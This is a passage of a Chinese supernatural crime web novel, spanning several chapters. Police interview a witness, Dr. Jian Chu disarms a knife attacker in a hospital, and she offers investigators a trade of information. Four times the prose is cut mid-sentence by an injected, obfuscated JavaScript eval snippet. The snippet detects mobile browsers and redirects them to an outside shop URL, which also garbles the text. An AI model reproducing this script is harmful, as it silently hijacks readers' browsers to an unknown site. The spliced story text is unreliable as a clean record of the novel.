“温小姐，我们又见面了，有点事需要你配合一下，还麻烦跟我们走一趟。”这次走在最前面的是张国栋，他算是跟温南聊过几句，他们今日穿的便服，熟悉的面孔能取得温南的信任。 虽然此信任非彼信任。 “小南，谁啊？”身后后还没有关严实的房门内传来一声询问，将温南从茫然的空梦中拉回了现实。 她猛地拽住房门，慌张地冲里面喊了一句：“没事，我去上班了。” 说完迅速关上门，表情严肃地催促几人离开这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13268776|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里，直到坐进车里，才松了口气。 “温小姐的事没有告诉家里人？”张国栋开口道。 “没必要，我妈妈身体不好。”温南言尽于此，其他人也没再追问。 不过十来分钟，路玺就在办公室见到了温南，跟他猜想的差不多，这个年轻女孩面色肉眼可见的紧张，心理防线很高但也很脆弱，最重要的是，这样的表现说明她肯定知道些什么。 他给了易骄一个眼神，她便如法炮制，倒了杯水递过去，温南也没想到这一次的会面如此平和，几人只是随意地坐在办公室里，甚至没有带她去专门用于审问的房间。 “谢谢。”她接过一次性水杯，有些拘谨地道了句谢，却没有看到站在背后的易骄朝其他人点了点头。 屋子里登时安静下来，但暂时没有人点破。 “温小姐，这次喊你过来，是想问问你记不记得章平这个人。”张国栋压下内心的惊愕，承担起了问话的工作，关于章平的死亡，他们原本计划就是要找温南聊聊，但因为明光街出了事，所以才搁置了下来。 “章平？”温南握着水杯，茫然抬起头，“抱歉，我不认识这个人。” 张国栋没有说话，而是递过来一张照片，温南疑惑地接过，很快回忆起了什么。 “啊是这个人，我在医院见过。”见他们并没有问自己关于刘迪的事，温南的情绪稍微放松了一点，她细细打量照片，点了点头。 “一个擦肩而过的人，温小姐为什么会记得这么清楚。”张国栋问。 “啊，因为他一直在跟我……搭讪，感觉不是很在乎自己的病情，倒是缠着我问东问西，之后还跟着我到地铁站，要不是给我看病的医生帮了忙，我都不知道他要纠缠到什么时候。” 温南看起来很是为此苦恼，在她前二十多年的人生里很少遇到这种看似有礼貌但又一直纠缠不休的人，如果对方行为出格她反倒可以处理。 其他几人早就看过地铁站内的监控，跟温南说的没什么出入，重要的是后面街道里，监控没有拍到的后续。 “之后呢？”见温南没有继续说话的意思，张国栋继续问道。 “之后？”温南露出茫然的表情，“之后我就回家了啊，简医生担心我，送了我一段，然后就分开了。” “你们在哪分开的？”张国栋继续追问。 “这……好几天了，我还真不记得，应该是泰丰路口？我只记得我比平时提前拐了弯，具体是泰丰路还是泰和路……我记不清了。” 温南的证词跟监控不谋而合，监控失效的起点正是泰丰路，从这里开始，章平跟着温南进入了小区，而简初不久后出现在了下一个路口，也就是泰和路。 根据吴起接到的那通，大概率是凶手打过去的电话来看，通话时间跟简初出现在监控里的时间仅仅差了十几秒，但她没有异能，这完全是不可能的事。 路玺不是没想过她会不会拥有空间穿梭之类的能力，但这类异能肯定在易骄的识别范围内，难道简初的出现真的只是巧合？ 又或是……有其他人隐身其中，而她不过是一个被陷害的烟雾弹？ 85. 灯下黑（85） 易骄已经离开，他们也没必要再和温南绕圈子，现在最迫切的就是尽可能还原她与刘迪之间的事。 温南小心地喝了口水，对面那个男人的眼神看得她毛毛的，让人不自觉开始有些小动作。 “温小姐，我们已经知道你的秘密了，现在，让我们重新聊一聊关于刘迪的事情吧。” 另一边的封闭会议室里，马瑞安正沉默不语看着面前的同步画面，这并不是监控设备的转播，而是利用异能形成的，画面和声音的精细度都非常高。 “这姑娘心理压力不小，估计没多久就能开口了，一组那边有没有给回信了？” “还没有。”宋也伸手拿过投影设施，给它换了一颗能源，“这东西是好用，就是太耗能了，不太环保呢。” 马瑞安瞥她一眼，对所谓环保的言论不置一词：“现在还没回信就有大问题了，说明白海那边的事务已经牵扯到蓝湾，所以需要上级的审批才能决定是否跟我们共享信息。” “这些门道还是你熟，不过你说，这次天选会选中了蓝湾，是想要做些什么呢？” 不怪宋也有此疑问，白海才是天选会的大本营，手伸这么长，难免后继无力，而且异能者数量稀少，他们是怎么以这么高的效率就找到三个本地人为他们卖命的。 连他们用专业的设备都没办法及时搜索到那么多人。 马瑞安从兜里掏出烟，却听见宋也在旁边冷哼一声，又恋恋不舍地放下了。 “蓝湾这次危险了，等白海的回音吧。” …… 温南的手指不安地搅动，她面前的三人并不催促，但就这么静静地看着，已经让人压力颇大。 “温小姐，你考虑好了吗？就算你不说我们也有办法查出来的，不过等到那时，你就没有说话的机会了。”张国栋一开口，那股子班味就冒出来了，但这确实有效，温南没忍住吸了吸鼻子，又伸出舌头舔舔嘴唇。 他们都知道自己是异能者了，后面那些也不过是时间早晚的问题，而且……她确实没有杀刘迪，这才是最重要的。 她没有必要，也没有能力和对方抗衡。 “那一天其实是刘迪喊我出去的，他说想邀请我加入他们。” 温南一松口就是如此劲爆的信息，另一边的马瑞安立刻坐直了身子，如果刘迪真的是天选会的人，那就不怪他们扩张如此迅速，原来是在不停发展下线，一生二，二生四，效果极佳。 “他约我凌晨在那边见面，我想着反正我有异能，逃跑肯定是没问题的，但是没想到我就多问了几句，他就动手了，刘迪知道我的异能，上来就制住我，这种情况我根本没办法脱身。”温南回忆起那时的事，脸上露出明显的懊悔，她要是不赴那个约，后面就没这么多事了。 其余人没有开口打断，只是让她继续说。 “我当时真的感觉自己要死了，他的异能虽然看上去不起眼，但是很厉害，他应该没给我透底，只是说可以恢复伤口，没想到力气也那么大，不是一般的那种，我没有夸张。” 温南说着，有一点焦躁起来：“然后，我就假装同意加入他们，趁他松劲，发动异能跑了。” 她下意识避开了有关穿越的事情。 “你的异能是什么，待会可以演示一下吗？”路玺说。 温南愣了愣：“在这里吗？” 得到对方的应允，她有些紧张地站起身：“我的异能是【空洞穿越】，就像这样。” 话音刚落，温南身侧就出现一个一人高的漩涡空洞，她走入其中，从另一个空洞里走了出来。 “范围不大，当时我就只是逃到旁边的巷子里，想再用一次也没成功。” 其他人面色平静，只有张国栋瞳孔地震，一会看看你一会看看他，最后还伸手掐了自己一把。 只是听说和亲眼见到的冲击力完全不一样啊。 温南继续回忆：“然后，我就看见另一个人站在巷子里，再然后我就晕过去了，醒过来的时候刘迪已经被砍了脑袋，我很害怕，就赶紧离开了。” 说完，她乖乖坐回椅子里，等待对面三人的反应。 “就这样？”张国栋本以为后面会发生什么，没想到这个故事如此虎头蛇尾，就这么草率地结束了，“温小姐，这种时候你可别跟我们耍小聪明了。” “我没有，说的都是真的！”温南大声喊道，顾杰羽点点头，伸手安抚了她的情绪。 如果温南说的都是真的，那么剩下可能是凶手的，就只有简初了，附近的监控点里只拍到了这三个人，但是她没有异能，怎么可能杀了刘迪。 莫非还有人避开了所有监控，从天而降，这也不是完全不可能。 当然，这一切的前提都是温南没有撒谎。 “你觉得怎么样？”马瑞安捏着一根烟，没有点燃，只是时不时放在嘴边吸吸味道。 “大差不差，看她的表情和肢体动作，应该是没有说谎，以温南的社会经历，肯定是没办法骗过我们的。”宋也托着下巴，“好歹多了点有用的信息，虽然……” 桌面上的笔记本电脑突然弹出一个内网邮件的图标，上面巨大的红色加急吸引了两人的视线。 “一组的邮件，我看看。” 宋也点开邮件，面色却越来越凝重。 “事情可能比我们想象的还要糟糕，他们一直在白海监测的一个天选会高层昨天异能信号出现在了蓝湾，除此以外还有一条未核实的消息，说是下一次的大集会，会在蓝湾举行。” 马瑞安瞬间丢下烟看过来，他伸手取走笔记本电脑，自己一字一句地读了起来，邮件内容很短，不过几十秒都能全部看完。 “大集会要在蓝湾举行？开什么玩笑？等等！”他突然想起了什么，连忙拿走桌面上的案件报告翻阅了起来。 “这个吴起，难道就是这次大集会的发起人？” …… “简医生，你来上班啦，这两天怎么样？” 简初一进精神科的区域，就得到了前台护士们的亲切问候，在她们看来，简医生医术精湛，但对待护士们却很礼貌，不像某些瞧不起人的，成天跟她们吆五喝六，现在这年头，对护士的要求也很高的好吧！ “还不错，难得休假，算是因祸得福了。”简初点点头，“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13306480|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 排号就麻烦你们帮忙协调一下了，我提前看了一眼，今天预约的病人有点多，前几天应该复查的估计也有不少人会来。” “没问题。简医生你就专心做事就好了，剩下的交给我们。” “谢谢。” 直到简初离开，前台后面的几个人才开始窃窃私语。 “我真服了，你们听说没，副院长竟然想把自己外甥介绍给简医生。” “他哪个外甥，不会是那个啃老哥吧，他得200斤了吧，上次来体检一堆毛病，而且还……” “噫！可别说了，这不是给简医生添堵吗。” “嘘，他来了。” 几个年轻的小护士立刻忙碌起来，顿时整个前台就只剩下一个人，她动作就慢了一步，这会已经跑不掉了。 “副院长早上好，一大早您怎么有空来这了？” 一个大腹便便的中年男人背着手，四处看了看：“没什么事，就是来看看你们，这几天忙得很，不能掉链子啊。” 他这么说着，眼神却往里面的办公室瞄过去，发现什么都看不见，又清了清嗓子开口：“今天简初是不是销假了，人来了吗？” “啊，简医生……没见到呢，您有什么事需要帮忙转达吗？”小护士连忙拿出小本本，做出一副要记录的样子。 “没什么事，就是问问……你们知道简初还是单身吗？最近应该没交男朋友吧？” 小护士面露纠结：“这……我们也不方便问啊，简医生平时工作这么忙，不好意思用这种事来打扰她。” “这样啊，那没事没事，你们先忙，回头我再来。” 等人走了没一会，护士们又都不经意用各种理由汇聚在前台，她们手里都忙着准备耗材，嘴也没闲着。 “怎么样，是不是来找简医生的？” “绝了，我感觉简医生这一劫逃不掉了，要是我被介绍这种，都能气得吃不下饭。” “回头提醒一下简医生，别露馅啊。” 听见外头不再谈论，简初终于套上白大褂，准备开始一天的工作，不得不说，五感强化之后听墙角都变得毫不费力，果然八卦才是第一生产力，这么一搞自己都不觉得困了。 她昨天也没闲着，先是拿着周霖给的视频去附近的警卫支队备了案，然后又在网上把最近半年，蓝湾发生的恶性事件排了个时间线，除了体育公园的死者已经很确定是天选会的受害者，其他事件目前还看不出来特殊之处。 毕竟对外报道并不会披露太多的信息，而且异能者作案时也不会留下非常明显的痕迹。 但从一个月前开始，蓝湾的恶性事件数量明显上升，短短一个月，受害者就超过了上半年的总和，这绝对不是正常的现象。 现在吴起已死，章平所说的“内部集会”还能如期举行吗？ 不过既然忙着筹备集会，吴起怎么有空在外面搞事，按照常理，这样的集会应当掩人耳目，在暗处偷偷举行，就算是想借着事故做掩饰，吴起也没有必要自己亲自上阵。 从刘、章二人的情况看，吴起并不是一个体恤下属的人，除非，这件事必须由他来做。 86. 灯下黑（86） 医院里的人流量很大，哪怕是一大早，乔装后的易骄易阳在其中也并不显眼。 “我突然有点负罪感，他们几个都好忙，我们俩倒好像在摸鱼。”易阳悄悄说道。 “这难道不是好事，她在这也方便我们了，要是真给你满地乱跑，你又要气得骂人。”易骄瞥他一眼，对这人的德行了然于胸。 “怎么会呢，我可讲文明了。”易阳嘟嘟囔囔。 易骄玩着手机，余光却一直放在其他地方警戒着，这两天跟下来其实没费多大劲，因为简初根本没去什么地方，唯一有些不寻常的就是去报了个案，但作为一个普通的独居女性，这是完全正常的反应。 他们看过简初提交的视频，很明显是入室盗窃的踩点，不过大概是房门锁的安全程度还不错，小偷并没有留下标记，看来是放弃了这一户。 “她今天不会要上一天班吧，医生不都是经常加班，我们在这坐久了会被注意到的吧。”易阳总算提出了一个稍微有点价值的问题。 “那待会你去挂个号，伪装一下病人呗。”易骄说。 易阳不吱声了。 一上午就这么枯燥地过去了，两人交换着出去溜达了一圈，又在这里换了个新的位置坐下，眼见着有后勤人员拎着好几个大塑料袋走进去，两人鼻尖还能闻到空气中残留的饭菜香味。 易阳的肚子叫了一声：“……我饿了。” “先忍着，待会去楼下超市随便买点。”易骄说着，就看见一个胖胖的中年男人领着一个更胖的人走了过来，两人的脸仿佛是一个模子里刻出来的。 易骄注意到这两人一出现，前台的小护士表情就变得很奇怪，莫非…… “简初人呢，这会该吃饭了吧？”副院长走过来，向护士询问简初此刻是否在看诊，不过他并没有耐心等待护士的回答，而是自己走进了前台，背着手看挂号表。 “哟，这是快结束了，正好趁吃饭的时间给小简介绍个年轻才俊，这么大了还不成家可不行！” 副院长的话让全场陷入了尴尬的沉默，周围已经有病人朝着便投来视线，并开始窃窃私语，甚至有人开始照着旁边的照片墙，开始寻找姓简的女医生。 易骄看着他身后几乎有自己两倍宽的人，心中莫名涌起对简初的同情。 “呵呵，副院长，简医生这会估计还在整病例，您看要不要晚一点……” “哎，没事，工作这么辛苦也要多休息休息，女孩子家家，迟早还是要嫁个好人家。” 他此言一出，在场的护士脸都绿了，一个看上去最年轻的立刻忿忿不平想要开口，却被身旁的护士长拉住了。 周围的病人还很多，副院长大概也感觉站在这里不好，带着人就想往里面去。 “盒饭送过来了吗？”简初踩着点收拾完手头的东西，直接打开诊疗室的门走了出来，她不想跟这两人纠缠，就诊大厅人多眼杂，他们不会做得太过分，双方都保留一点体面是最好的选择。 易骄看着插着兜走出来的简初，内心原本的警惕不知不觉已经消减一些，取而代之的是微妙的欣赏。 被护士长拉住的年轻护士眼神飘了飘，扭过头强行憋住了笑，脸涨得通红，还发出“嗤嗤”的气音。 副院长带来的年轻人，竟然比简医生还矮了半个头。 “副院？今天是什么风把您吹过来了，平时您在办公室，想见上一面可难得很。”简初的眼神都没有落在旁人身上，跟副院长打了个“友善”的招呼，边走近前台询问今天的伙食送到了没。 “到了到了，简医生您回办公室等会，后勤那边在拆袋子，回头给送到每个办公室去。” 还没等简初回答，副院长倒是先开口了。 “正好啊，我有事找你，咱们一起回办公室，这位呢是我的外甥，他……” “您有事找我？”简初一意外的样子，顺着他的话看向旁边的人，随即一脸了然，但很快又变成疑惑，“您这是，我是精神外科的医生，这位是有什么情况吗，确定是找我？” “不过我今天着实很忙，不太好给您插队，要不请老师来帮您看看，您说您也是的，有事跟老师直说就行，他还能不答应吗？” 简初一脸善解人意的模样，周围顿时响起一片尴尬的清嗓声。 “呃，这不是病人，啊不是，我们不是来看病的。”周围人太多，副院长竟然有一些尴尬起来，“哎，这不是看你一直单身，找不到对象，才替你操心，给你寻了个不错的男孩。” 配合这话，他身边的年轻人下意识挺了挺胸，简初垂下眼看见对方有些稀疏的头顶，没忍住笑出了声。 “副院长，您可别跟我开玩笑了，不然我还以为今天要来看病的人是你呢。” 夺笋呐，易骄心想，但是她十分苟同。 “哎，医生姐姐，你真单身哪，要不看看我哥，海归博士大厂主管，二十八岁只谈过一段，身高187六块腹肌，会做家务还烧的一手好菜，我爸妈都有退休金，父母恩爱妹妹乖巧，考虑一下啊！” 旁边一个年轻的小姑娘扯着嗓子连珠炮一样输出了一大段，看得人一愣一愣的，就连她旁边坐着的亲哥都没反应过来，就被人给卖了。 围观群众不约而同投过目光去，其他不知道真假，不过这外形确实，没撒谎。 “你个胆小鬼，拉我干嘛，他俩看着都不是一个图层的，肯定不能成的，放心好了。” 这小姑娘看起来十分直爽，胳膊肘一直倒腾着想拉住她的亲哥，丝毫没有“坏人好事”的意识。 简初也没想到半路杀出来个程咬金，不过看到对面两人不太好看的脸色，她还是挺喜闻乐见的。 “抱歉，我已经有稳定交往的对象了。”简初扯起谎来那叫一个脸不红心不跳，“不过他工作比较特殊，所以就一直保密，没跟大家说，怕我受不住大家关心，一个不小心说漏什么。” 易骄：编，你使劲编。 “她真有男朋友，我们没查到啊，是不是回去让路哥再查查。”易阳凑过来，悄声说道。 易骄闭上眼深吸了一口气：“她只是在唬人，你看不出……” “啊！杀人啦！” 一声凄厉的尖叫直接打断了她的话，整个大厅突然安静了一瞬，接着在人群中爆发出巨大的恐慌。 “易阳！” 两人迅速站起身，周围的人实在太多，但从人潮逃离的方向他们还是很快找到了哭喊传来的地方。 人们退避出一个真空圈，中间的瘦小男人举着一把水果刀，上面已经沾了血，他疯狂地挥舞着小刀，四周的人避之不及往后退去，他却往前两步，带着恐吓之意在虚空中戳了两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13321348|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下。 不远处倒着的伤者正捂着腹部无力哀叫，源源不断的鲜血从他的指缝中流出来，但因为他和行凶者的距离太近，一时没有人敢上前救他。 有几个年轻男女看着有些踌躇，想要上前阻止，但滴血的小刀又让人心生畏惧。 “能不能先把受伤的人拉过来？” 他们小声商量。 “你们到后面去，我们是警方！”易阳掏出对外使用的证件，将几个年轻人赶到了身后。 “这人不对劲。”持刀的男人表情癫狂，面部扭曲到常人难以理解的程度，而又因为这里是精神科，很容易让人联想到他精神不正常。 易阳二话不说，直接一个欺身上前，一把攥住了对方的手腕，左脚卡到这人双腿之间，想要直接把人掀翻压倒在地，这个男人身材瘦削，握刀的姿势也并不利索，明显不是什么练家子，在他这种训练有素的作战人员面前，根本不值一…… “嗯？” 易阳一个用力，男人的脚却像在地上生了根，纹丝不动不说，就连手里的小刀都没有被卸掉。 情况不对！ 这边易骄将伤者带离攻击范围，立刻有医生接手，将人带去了急救中心，但她一抬头，就看见易阳和那行凶者陷入了意料外的僵持。 “你别过来！”易阳从嗓子里挤出声音，用力架住对方的刀尖，“这人……有问题。” 周围的人都已经被疏散开来，大家都在大厅的玻璃墙外探头探脑地看着情况。 简初回神摸了摸胸前的口袋，什么都没摸到，只能转头走到前台，谁料一低头就看到两人正缩在后头打着哆嗦，还不忘探出来半张脸查看外面的情况。 她没分出多余的眼神，迅速从桌面捡起一支被人慌乱丢下的笔，黑色的签字笔在劲瘦的指尖翻了几朵黑色的花，瞬间宛如离弦之箭，带着肉眼几乎看不清的残影飞掠而过。 “铛！” 清脆的碰撞声响起，签字笔的外壳碎裂开来落在地上，与之一起掉落在地的，是裂成半截的水果刀。 没有了锐器的威胁，易阳不再费心阻挡，而是直接弯腰将人掼在了地上，易骄找准机会，抬着旁边的长椅压在男人身上。两人一起压着，都有些抵不住男人在地上疯狂扑腾，好在之前几个年轻人见状，迅速冲了过来，几人齐心协力，总算把人控制住了。 等到男人被赶来的警车带走，都是一副死气沉沉的模样，看起来仿佛被抽干了灵魂，宛如行尸走肉一般。 “你一起回去，把情况跟路哥汇报一下。”两人交换了一个眼神，易阳便离开了现场，病人们重新回到大厅，心有余悸地谈论着刚刚发生的事，他们在外面并没有看清角落里的简初做了什么，但躲在后台的副院长和他外甥，脸上的表情已经难以形容了。 “刚刚可真危险啊。”简初叹了口气，“对了，副院长，咱们刚刚说到哪儿了。” 中年男人擦了擦额头上的汗，刚要开口，衣袖就被疯狂拉扯，回头就对上一双写满了恐惧的眼神，外加摇得跟拨浪鼓一样的脑袋。 “啊，呃，没什么，没什么，不打扰简医生您吃饭，我们就先走了啊，回聊，回聊。” 易骄看着简初面带微笑目送两人离开，接着对方的视线顺理成章地落在她身上。 “又见面了，来办公室坐坐？” 87. 灯下黑（87） 易骄有些摸不清简初的想法，但刚刚露的那一手显然与之前的说法不太符合，她皱着眉犹豫了片刻，还是跟上了简初已经转身往回的背影。 “噶哒。” 锁舌合上，一进门满墙的锦旗就震慑住了易骄，简初神态自若地坐在办公桌后，将盒饭放在收拾出来的空当中，随着她打开盖子，诱人的饭香顿时盈满了整个空间。 “还不知道警官叫什么名字？”简初掰开一次性筷子，抽空抬头看了她一眼，“吃饭了没，饿的话可以拿个盒饭垫垫肚子。” “易骄，不用了，回头你们不够吃。” “骄阳的骄？另一位不会叫易阳吧，我看你俩长得挺像的。”简初随口问道，“后勤一般会多带两份来，你可以去问问，毕竟刚刚帮医院解决了大麻烦，吃份饭还是可以的。” “还是算了。”易骄坐到待客沙发，肚子却不争气地叫了一声，让她有一些尴尬。 简初没忍住笑出声，打开门冲外头又要了一份饭，来送饭的小伙子还好奇地抻着脑袋，想要见见刚刚的女侠，被简初无情关门，拦在了外头。 这下易骄也不好意思再拒绝了，她搬了个凳子坐在简初对面，接过对方递来的消毒湿巾擦完桌椅，也打开了饭盒。 “你们之前可没这么客气。”简初状似无意地说了一句，易骄看她头都没抬，努力干饭，一时也不知道怎么交流才会自然一点。 对方看起来倒没什么心理负担。 “你刚刚那一手，从哪儿学的？”易骄问。 “啊，看网络视频学的。” 易骄：“……” 简初没有错过对方无语的表情：“怎么，不信，来来来，我把视频拿给你看。” 她说着举起手机划拉了片刻，很快点开一个视频面向易骄，上面赫然播放着一个标题为“拈花摘叶百步穿杨”的视频，画面中的主人公捏着一片软绵绵的花瓣，手腕一抖，花瓣就嵌进不远处的木板里。 易骄无话可说，她没觉得这玩意是普通人能学会的，但简初又偏偏是个普通人。 简初看她表情纠结，心底无声地笑了一下，又低下头吃饭，两人心照不宣地没有提及“他俩为什么会出现在这里”的问题。 易骄吃了口饭，又偷偷抬眼看了简初，从她的角度看过去，对面的女性面容平静，俊秀中带着点落拓气，微微下垂的三白眼里透着点被社会捶打的疲惫，怎么看也不像一个穷凶极恶的人。 以那三人的身份，解决他们的人反倒算是正义人士，就是这正义人士身上，多少带着点不受控制的威胁。 “你们也挺忙吧，跟着我没什么意义的。”简初突然开口，给易骄惊得一哆嗦，而她接下来的话更是完全超出了他们所有人的预期，“我只不过是帮了他一点小忙，别给我添麻烦啊。” “什么？” “你们要找的那个人。”简初低头戳了戳饭盒里的鸡腿，“别费劲了，他现在不想和你们见面。” “至于我为什么愿意帮他，你们就当是我正义感爆棚吧，毕竟要不是他，死的估计就是我了，哎，异能啊，真是让人羡慕的东西。” 简初说这话丝毫不脸红，而对面的人明显已经被她的话带跑偏了。 “你……” “问我也没用，蒲林巷之后我再也没有见过他，他总有各种奇怪的途径跟我联系。” 主打一个我联系我自己。 “他这次让我递消息，没想到还没等我考虑好，你们就找上门来，倒也省了我的事。”简初托着下巴状似思考，“唔，也许用交换消息会更贴切？” 见易骄不说话，简初耸耸肩：“反正不关我的事，不想交换也无所谓，不过他说可以先给你们两条消息，等你们核实之后再做决定。” 简初看着面前的年轻女性露出挣扎的神色，内心明白她已经信了七分。 尽管简初知道对方一直在监视她，但今天的发展属实是意料之外，简初一直保持的表面和谐就被意外打破，但她也能看出那行凶者的不同寻常，如今人被带走，想要知道真正的内情，她还必须要从异能署的这群人入手。 【唱诗班】在易骄身上没能发挥很好的效果，说明他们还是很警惕，索性这两个双生子给了她一点别的灵感，基于“她是一个普通人”的基础，出现一个全新的角色反而能得到对方的信任。 终于，易骄从考虑中回神：“你先说说？” “哼，果然被他猜中了。”简初自顾自小声说了一句，但易骄没有错过，这下心底又稳了一点。 “第一，体育公园案件的凶手是章平。” “第二，集会。” “点到为止，等你们联系我，不过他只给了24小时的考虑时间。”简初用筷子点点塑料饭盒，“铛铛”两声跟易骄的心跳重合，让她不由得紧张起来。 “时间过了，他就不会再联系我了。” “别浪费粮食，吃完饭再走，不过我建议别再跟着我了，添太多麻烦我可是会撂挑子不干的，别把力气放在无意义的地方。” “我晚上八点下班，在那之后联系我吧，别太晚哦。” …… 易骄最终还是独自回到了蓝湾总队，她其实也不知道自己为什么会做这个选择，也许是作为简初开诚布公的回报，但当易骄踏入蓝湾总队时，内心还是不免浮现一点后悔。 这真的是正确的选择吗？ “姐？你怎么回来了？”易阳急匆匆推开门，一眼就看到抬手准备进来的易骄，“那边出什么事了吗？” 易骄看着弟弟焦急的面容，微微摇了摇头：“有了新收获，回办公室说。” 周围工作的警员们都默默竖着耳朵，自从系列案件被上头派来的小组接手之后，原本的烫手山芋反倒让人好奇起来，不少人工作之余都会反复盘算，这几起案件究竟有什么不同寻常的地方，但都以失败告终。 此时，他们只能望眼欲穿，目送两人进入电梯。 “路玺在吗？我有事要找他。”易骄一出电梯，就脚步匆匆往办公室走去，主楼的最顶层目前已经被异能署承包，无关人士不得入内，蓝湾总队的原班人马只有顾杰羽和张国栋两人可以进入。 “呃，这会在吃饭，之后还要继续跟温南聊，这是有什么事啊？”易阳紧紧跟在后面，非常识趣地替姐姐拉开了办公室的门，意料之外的开门声吸引 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13337951|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了里面所有人的注意。 办公室里只有马瑞安和宋也，从他们面前的画面里可以看到，那三人正在陪着温南一起吃饭，看样子并不打算休息。 “怎么回来了，还急急忙忙的？”宋也瞧她一眼，“你不是在医院盯着简初的吗？” 易骄还没说什么，易阳倒是先开了口：“刚刚为了制服那个人，我们俩都暴露了，就算继续跟着也发现不了什么，还不如就此离开，看看她会有什么反应。” 他说完，还偷偷朝易骄使了个眼色，似乎在说“看我聪明不”，结果却换来对方一个无语的白眼。 怎么了？他觉得自己说得很好啊！这么短的时间想到这么合理的解释，他都要崇拜自己了。 “简初给了一个重要的信息，要不把路哥也喊出来，我们先商量一下。”易骄说，“时间比较急，需要尽快决定。” 她这话倒让人来了兴趣，马瑞安沉思片刻点点头：“易阳，你先去把路玺喊出来。” 待易骄将前因后果复述完，在场人都陷入了沉思。 “这可真是……出人意料啊。”宋也的指尖有节奏地敲击着桌面，这是她平日里陷入思考的小习惯，“你们怎么看？” 她的言下之意是问其他人，信不信简初的说辞。 “体育公园案件的卷宗我看过，并没有发现什么特殊的地方，死者有先天心脏病史，家属拒绝了尸检，认可了心梗发作猝死的调查结果。”路玺没有直接回答宋也的问题，反倒开始思考别的，“那人说章平是凶手，无疑是有两种可能性，一是对方亲眼见到了章平作案，二是……” “在杀章平的时候，从他嘴里套出来的？”易阳问。 “他没必要特地问，我记得体育公园案的发生时间，和刘迪死亡的时间差不多？”路玺眯了眯眼。 “你是说，他是从刘迪口中，知道这件事的？” “也许只是听了一耳朵，但他知道章平的异能后，就顺利和体育公园案件对上号。”路玺说。 如果简初听到这些，一定惊讶于对方从这两条交换信息里竟然能推出这么多信息，虽然跟实际有所出入，但也八九不离十了。 “跟他们合作吧。”马瑞安拍板，“对方连集会都知道了，手里肯定掌握着不少信息，才能这么直接地跟我们提出合作。” “他也提防着我们，所以想借此试探，一旦我们同意了对方的要求，就说明他的消息是有价值的，在‘我们不知道那三人的异能’和‘我们知道集会的意义’两个选项之间，必然有一个中标。” “但我们确实需要他的信息，但好在对方也需要我们的帮助。”宋也摇摇头，“没想到蓝湾还藏着这种人物，这次事件过后，考虑收编吗？” 她看向马瑞安，显然这种事还要看他的决定。 “他杀的三个都不是什么好东西，再加上思虑成熟并不激进，我觉得可以考虑。”宋也补充道。 “到时候再说吧，现在还不知道这人的异能是什么……”马瑞安突然咋舌，“说起来，吴起的幻境确定是从内部被破开的吧，而且他在自己的环境中被杀死了，也就是说。” “那人当时就在夜店里。” 88. 灯下黑（88） 今天温南没来复诊，也完全在简初预料之中，她跟刘迪、章平的死亡有着千丝万缕的联系，肯定会被异能署重点关注，不过事到如今，估计异能也藏不住了。 她毫无心理负担地从蒲林巷抄近路回家，现在已经八点二十，还没有收到那边的回复，也许他们也想压一压，挫挫她的耐心。 公寓楼里住的年轻人不少，这个时间大多在加班，静谧的楼道里只有电梯嘎吱嘎吱的运行声，简初甩着钥匙走到门前，摸上了把手。 她的动作顿住了。 简初低下头，指尖搓了搓，白色的粉末簌簌掉落，她又伸手摸了一把，果然在房门把手的背面摸到一层粗糙的粉末，她将手举起凑近面前，另一只手扇了扇，并没有闻到什么特殊的气味。 “呵。”简初意味不明地冷笑一声，两手拍了拍掸开粉末，打开房门进了屋子。 也许可以找周霖要一下今天的监控录像。 简初如此想着，口袋里的手机突然响起清脆的铃声，她不紧不慢地洗了手，又仔细擦干净，才踩着电话铃即将结束的时刻接通了来电。 来自蓝湾总队的电话，那头的声音是自己从未听过的女性，看来异能署是把这边当做临时根据地了啊。 “简初女士你好，我是宋也，易骄的上司，请问你有空来蓝湾总队详谈吗？” 对方并没有在电话里多说，而是邀请她当面详谈，有没有别的意思不清楚，但里面至少掺了一半的试探。 